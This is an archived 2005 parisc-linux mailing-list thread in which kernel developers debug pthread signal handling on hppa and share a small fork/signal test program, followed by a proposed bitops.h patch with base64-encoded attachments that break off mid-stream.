Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 00:01:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 05 Apr 2005 02:01:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B2A47D657;
	Mon,  4 Apr 2005 18:01:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19300-02; Mon, 4 Apr 2005 18:01:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 741137D65B;
	Mon,  4 Apr 2005 18:01:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D6A57D654
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Apr 2005 18:01:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18651-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Apr 2005 18:01:02 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id BD06B7D651
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Apr 2005 18:01:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DIbUy-0006XV-00; Mon, 04 Apr 2005 20:00:52 -0400
Content-Disposition: inline
In-Reply-To: <20050404005038.GH8921@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ArAjYqxweSE5+76WZHQhaXN2IGRvb4AX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22561

On Sun, Apr 03, 2005 at 05:50:38PM -0700, Randolph Chung wrote:
> > What's the situation on the following signals: SIGLTHRRES, SIGLTHRCAN
> > and SIGLTHRDBG?  I'm not sure but pthread_cond_signal may need SIGLTHRRES.
> > Are these signals 37, 38 and 39?
> 
> yes, we use the same signals. 
> 
> int __pthread_sig_restart = __SIGRTMIN;
> int __pthread_sig_cancel = __SIGRTMIN + 1;
> int __pthread_sig_debug = __SIGRTMIN + 2;
> 
> SIGRTMIN is 37
> 
> i think we can reduce the test to a signals test. if you strace the test
> program you will see that it's doing a loop of sigprocmask(),
> sigsuspend(), wake up by signal, etc.... that may make a test case a bit
> simpler.

It irks me that such a simple program doesn't run properly :(
I've started digging into the code, and I'm going to add some signal
printk's to see what we're missing.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Mon, 4 Apr 2005 20:02:34 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20050405000234.GH1833@baldric.uwo.ca>
References: <20050403143246.GE8921@tausq.org>
	<200504032041.j33KfpVf018465@hiauly1.hia.nrc.ca>
	<20050404005038.GH8921@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623736 13656 80.91.229.3 (22 Nov 2014 02:35:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:36 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 00:02:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 05 Apr 2005 02:02:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 986837D661;
	Mon,  4 Apr 2005 18:02:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19410-05; Mon, 4 Apr 2005 18:02:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E67F47D668;
	Mon,  4 Apr 2005 18:02:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC6A17D65D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Apr 2005 18:02:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19410-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Apr 2005 18:02:46 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 41B007D654
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Apr 2005 18:02:46 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DIbWc-0006Y3-00; Mon, 04 Apr 2005 20:02:34 -0400
Content-Disposition: inline
In-Reply-To: <20050404005038.GH8921@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 57AjYuRJeSE5+76WZHQhaXN2IGRvb8DS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22562

On Sun, Apr 03, 2005 at 05:50:38PM -0700, Randolph Chung wrote:
> i think we can reduce the test to a signals test. if you strace the test
> program you will see that it's doing a loop of sigprocmask(),
> sigsuspend(), wake up by signal, etc.... that may make a test case a bit
> simpler.

Agreed. It looks like sigsuspend just isn't returning and looping
forever in the kernel.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Tue, 5 Apr 2005 02:00:51 -0400
Lines: 93
Approved: news@gmane.org
Message-ID: <20050405060051.GJ1833@baldric.uwo.ca>
References: <20050403143246.GE8921@tausq.org>
	<200504032041.j33KfpVf018465@hiauly1.hia.nrc.ca>
	<20050404005038.GH8921@tausq.org>
	<20050405000234.GH1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623737 13657 80.91.229.3 (22 Nov 2014 02:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:37 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 06:01:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 05 Apr 2005 08:01:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D6BE7D65B;
	Tue,  5 Apr 2005 00:01:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20227-06; Tue, 5 Apr 2005 00:01:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E29CD7D668;
	Tue,  5 Apr 2005 00:01:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DF097D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 00:01:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20227-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 00:01:00 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 9EF097D657
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 00:01:00 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DIh7M-0008C9-00; Tue, 05 Apr 2005 02:00:52 -0400
Content-Disposition: inline
In-Reply-To: <20050405000234.GH1833@baldric.uwo.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +UwgYsQVeSE5+76WZHQhaXN2IGRvb0Ct
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22563

On Mon, Apr 04, 2005 at 08:02:34PM -0400, Carlos O'Donell wrote:
> On Sun, Apr 03, 2005 at 05:50:38PM -0700, Randolph Chung wrote:
> > i think we can reduce the test to a signals test. if you strace the test
> > program you will see that it's doing a loop of sigprocmask(),
> > sigsuspend(), wake up by signal, etc.... that may make a test case a bit
> > simpler.
> 
> Agreed. It looks like sigsuspend just isn't returning and looping
> forever in the kernel.

I found another program that doesn't work on hppa. This one was written
by Randolph if my memory serves me correctly. I'll have to add it to the
userspace tests that fail.

---
all: foo.c libfoo.c
	gcc -g -shared -c libfoo.c
	rm -f libfoo.so
	ln -s libfoo.o libfoo.so
	gcc -g -o foo foo.c -lfoo -L. -lpthread

clean:
	rm -f *.o
	rm -f *.so
	rm -f foo
---
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>

void exit_on_signal(int signr)
{
  int status;
  pid_t child;
  fprintf(stderr, "Exiting on signal from child\n");
  child = wait(&status);
  fprintf(stderr, "Waited for child %d\n",(int)child);
  exit(0);
}

extern void foo(void);

int main(void)
{
  int status;
/*  foo();*/
  signal(SIGUSR2,exit_on_signal);
  pid_t parent = getpid();
  if (fork() == 0) 
    {
      /* child kills parent */
      kill(parent, SIGUSR2);
    } 
  else 
    {
      printf("Parent done.\n");
    }
  return 0;
}
---
#include <pthread.h>

void
do_prepare(void)
{
	printf("do_prepare\n");
}

void
do_child(void)
{
	printf("do_child\n");
}

void
foo(void)
{
	  pthread_atfork(&do_prepare, NULL, &do_child);
}
---

Try it out.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some other small bitops.h suggestion?
Date: Tue, 5 Apr 2005 11:28:26 +0200
Lines: 202
Approved: news@gmane.org
Message-ID: <42134E6200012F70@mail-2-bnl.tiscali.it>
References: <20050403143246.GE8921@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="========/42134E6200012F70/mail-2-bnl.tiscali.it"
X-Trace: ger.gmane.org 1416623737 13660 80.91.229.3 (22 Nov 2014 02:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:37 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 09:29:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 05 Apr 2005 11:29:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E4DF7D668;
	Tue,  5 Apr 2005 03:28:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21000-06; Tue, 5 Apr 2005 03:28:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CD017D66D;
	Tue,  5 Apr 2005 03:28:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38D277D639
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 03:28:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20874-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 03:28:33 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 1D6737D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 03:28:33 -0600 (MDT)
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DIkMF-00076p-EP; Tue, 05 Apr 2005 11:28:31 +0200
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 5 Apr 2005 11:28:26 +0200
In-Reply-To: <20050403143246.GE8921@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Mj8gYpVOeSE5+76WZHQhaXN2IGRvb0D4
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22564


--========/42134E6200012F70/mail-2-bnl.tiscali.it
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable

Hello Randolph,

Thanks for previous ci :-)

Here is some other change to suggest (even thought it doesn't fix anythin=
g
:-( ):
--- include/asm-parisc/bitops.h.Orig    2005-04-05 10:29:52.000000000 +02=
00
+++ include/asm-parisc/bitops.h 2005-04-05 10:58:36.000000000 +0200
@@ -304,17 +304,10 @@
  * hweightN: returns the hamming weight (i.e. the number
  * of bits set) of a N-bit word
  */
-#define hweight64(x)                                           \
-({                                                             \
-       unsigned long __x =3D (x);                                \
-       unsigned int __w;                                       \
-       __w =3D generic_hweight32((unsigned int) __x);            \
-       __w +=3D generic_hweight32((unsigned int) (__x>>32));     \
-       __w;                                                    \
-})
-#define hweight32(x) generic_hweight32(x)
-#define hweight16(x) generic_hweight16(x)
-#define hweight8(x) generic_hweight8(x)
+#define hweight64(x)   generic_hweight64(x)
+#define hweight32(x)   generic_hweight32(x)
+#define hweight16(x)   generic_hweight16(x)
+#define hweight8(x)    generic_hweight8(x)
 
 /*
  * Every architecture must define this function. It's the fastest
@@ -337,10 +330,8 @@
 #else
        if (unlikely(b[0]))
                return __ffs(b[0]);
-       if (unlikely(((unsigned int)b[1])))
+       if (unlikely(b[1]))
                return __ffs(b[1]) + 64;
-       if (b[1] >> 32)
-               return __ffs(b[1] >> 32) + 96;
        return __ffs(b[2]) + 128;
 #endif
 }
=3D=3D=3D=3D><=3D=3D=3D=3D

The first hunk was because hweight64() was not 32bit ok (even thought not=

actually used right now) and willy suggest me this change (as other arch
:-) ).

The second hunk just because I didn't understand why this form (looks lik=
e
sparc64) and not another (e.g. ppc64).
I so wrote a small test (here attached bitops-t5.c) and don't see signifi=
cant
performance lost/win (excepted if I made mistakes)

Thanks,
    Joel



--========/42134E6200012F70/mail-2-bnl.tiscali.it
Content-Type: text/plain
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="include_asm-parisc_bitops.h.diff"

LS0tIGluY2x1ZGUvYXNtLXBhcmlzYy9iaXRvcHMuaC5PcmlnCTIwMDUtMDQtMDUgMTA6Mjk6NTIu
MDAwMDAwMDAwICswMjAwCisrKyBpbmNsdWRlL2FzbS1wYXJpc2MvYml0b3BzLmgJMjAwNS0wNC0w
NSAxMDo1ODozNi4wMDAwMDAwMDAgKzAyMDAKQEAgLTMwNCwxNyArMzA0LDEwIEBACiAgKiBod2Vp
Z2h0TjogcmV0dXJucyB0aGUgaGFtbWluZyB3ZWlnaHQgKGkuZS4gdGhlIG51bWJlcgogICogb2Yg
Yml0cyBzZXQpIG9mIGEgTi1iaXQgd29yZAogICovCi0jZGVmaW5lIGh3ZWlnaHQ2NCh4KQkJCQkJ
CVwKLSh7CQkJCQkJCQlcCi0JdW5zaWduZWQgbG9uZyBfX3ggPSAoeCk7CQkJCVwKLQl1bnNpZ25l
ZCBpbnQgX193OwkJCQkJXAotCV9fdyA9IGdlbmVyaWNfaHdlaWdodDMyKCh1bnNpZ25lZCBpbnQp
IF9feCk7CQlcCi0JX193ICs9IGdlbmVyaWNfaHdlaWdodDMyKCh1bnNpZ25lZCBpbnQpIChfX3g+
PjMyKSk7CVwKLQlfX3c7CQkJCQkJCVwKLX0pCi0jZGVmaW5lIGh3ZWlnaHQzMih4KSBnZW5lcmlj
X2h3ZWlnaHQzMih4KQotI2RlZmluZSBod2VpZ2h0MTYoeCkgZ2VuZXJpY19od2VpZ2h0MTYoeCkK
LSNkZWZpbmUgaHdlaWdodDgoeCkgZ2VuZXJpY19od2VpZ2h0OCh4KQorI2RlZmluZSBod2VpZ2h0
NjQoeCkJZ2VuZXJpY19od2VpZ2h0NjQoeCkKKyNkZWZpbmUgaHdlaWdodDMyKHgpCWdlbmVyaWNf
aHdlaWdodDMyKHgpCisjZGVmaW5lIGh3ZWlnaHQxNih4KQlnZW5lcmljX2h3ZWlnaHQxNih4KQor
I2RlZmluZSBod2VpZ2h0OCh4KQlnZW5lcmljX2h3ZWlnaHQ4KHgpCiAKIC8qCiAgKiBFdmVyeSBh
cmNoaXRlY3R1cmUgbXVzdCBkZWZpbmUgdGhpcyBmdW5jdGlvbi4gSXQncyB0aGUgZmFzdGVzdApA
QCAtMzM3LDEwICszMzAsOCBAQAogI2Vsc2UKIAlpZiAodW5saWtlbHkoYlswXSkpCiAJCXJldHVy
biBfX2ZmcyhiWzBdKTsKLQlpZiAodW5saWtlbHkoKCh1bnNpZ25lZCBpbnQpYlsxXSkpKQorCWlm
ICh1bmxpa2VseShiWzFdKSkKIAkJcmV0dXJuIF9fZmZzKGJbMV0pICsgNjQ7Ci0JaWYgKGJbMV0g
Pj4gMzIpCi0JCXJldHVybiBfX2ZmcyhiWzFdID4+IDMyKSArIDk2OwogCXJldHVybiBfX2Zmcyhi
WzJdKSArIDEyODsKICNlbmRpZgogfQo=


--========/42134E6200012F70/mail-2-bnl.tiscali.it
Content-Type: text/x-csrc
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bitops-t5.c"

LyoKICAgICMgZ2NjIC1PMiAtbWFyY2g9Mi4wIC1EX19MUDY0X18gLURWT1JJRyAtbyBiaXRvcHMt
byBiaXRvcHMtdDUuYwogICAgIyBnY2MgLU8yIC1tYXJjaD0yLjAgLURfX0xQNjRfXyAtbyBiaXRv
cHMtbiBiaXRvcHMtdDUuYwogICAgIyBmb3IgaSBpbiAxIDIgMyA0IDUgOyBkbyBlY2hvICJMb29w
ICRpIjsgdGltZSAuL2JpdG9wcy1vIDsgdGltZSAuL2JpdG9wcy1uIDsgZG9uZQpMb29wIDEKLS0t
LS0tCkNvbXB1dGluZyBzY2hlZF9maW5kX2ZpcnN0X2JpdF9wYSgpIGZvciBpID0gMCB0byAyMTQ3
NDgzNjQ4Li4uCkxPT1BfU0laRSA9IDB4MDAwMDAwMDA4MDAwMDAwMC4KCnJlYWwgICAgMG0yMi41
ODJzCnVzZXIgICAgMG0yMi41NTBzCnN5cyAgICAgMG0wLjAyMXMKCkNvbXB1dGluZyBzY2hlZF9m
aW5kX2ZpcnN0X2JpdF9wcGM2NCgpIGZvciBpID0gMCB0byAyMTQ3NDgzNjQ4Li4uCkxPT1BfU0la
RSA9IDB4MDAwMDAwMDA4MDAwMDAwMC4KCnJlYWwgICAgMG0yMi41NzNzCnVzZXIgICAgMG0yMi41
NDRzCnN5cyAgICAgMG0wLjAyMHMKCkxvb3AgMgotLS0tLS0KQ29tcHV0aW5nIHNjaGVkX2ZpbmRf
Zmlyc3RfYml0X3BhKCkgZm9yIGkgPSAwIHRvIDIxNDc0ODM2NDguLi4KTE9PUF9TSVpFID0gMHgw
MDAwMDAwMDgwMDAwMDAwLgoKcmVhbCAgICAwbTIyLjYyNXMKdXNlciAgICAwbTIyLjU0NnMKc3lz
ICAgICAwbTAuMDIzcwoKQ29tcHV0aW5nIHNjaGVkX2ZpbmRfZmlyc3RfYml0X3BwYzY0KCkgZm9y
IGkgPSAwIHRvIDIxNDc0ODM2NDguLi4KTE9PUF9TSVpFID0gMHgwMDAwMDAwMDgwMDAwMDAwLgoK
cmVhbCAgICAwbTIyLjYwMXMKdXNlciAgICAwbTIyLjU2MnMKc3lzICAgICAwbTAuMDE1cwoKTG9v
cCAzCi0tLS0tLQpDb21wdXRpbmcgc2NoZWRfZmluZF9maXJzdF9iaXRfcGEoKSBmb3IgaSA9IDAg
dG8gMjE0NzQ4MzY0OC4uLgpMT09QX1NJWkUgPSAweDAwMDAwMDAwODAwMDAwMDAuCgpyZWFsICAg
IDBtMjIuNjE5cwp1c2VyICAgIDBtMjIuNTU0cwpzeXMgICAgIDBtMC4wMjNzCgpDb21wdXRpbmcg
c2NoZWRfZmluZF9maXJzdF9iaXRfcHBjNjQoKSBmb3IgaSA9IDAgdG8gMjE0NzQ4MzY0OC4uLgpM
T09QX1NJWkUgPSAweDAwMDAwMDAwODAwMDAwMDAuCgpyZWFsICAgIDBtMjIuNTgycwp1c2VyICAg
IDBtMjIuNTU4cwpzeXMgICAgIDBtMC4wMTNzCgpMb29wIDQKLS0tLS0tCkNvbXB1dGluZyBzY2hl
ZF9maW5kX2ZpcnN0X2JpdF9wYSgpIGZvciBpID0gMCB0byAyMTQ3NDgzNjQ4Li4uCkxPT1BfU0la
RSA9IDB4MDAwMDAwMDA4MDAwMDAwMC4KCnJlYWwgICAgMG0yMi42NTlzCnVzZXIgICAgMG0yMi41
NTlzCnN5cyAgICAgMG0wLjAyMnMKCkNvbXB1dGluZyBzY2hlZF9maW5kX2ZpcnN0X2JpdF9wcGM2
NCgpIGZvciBpID0gMCB0byAyMTQ3NDgzNjQ4Li4uCkxPT1BfU0laRSA9IDB4MDAwMDAwMDA4MDAw
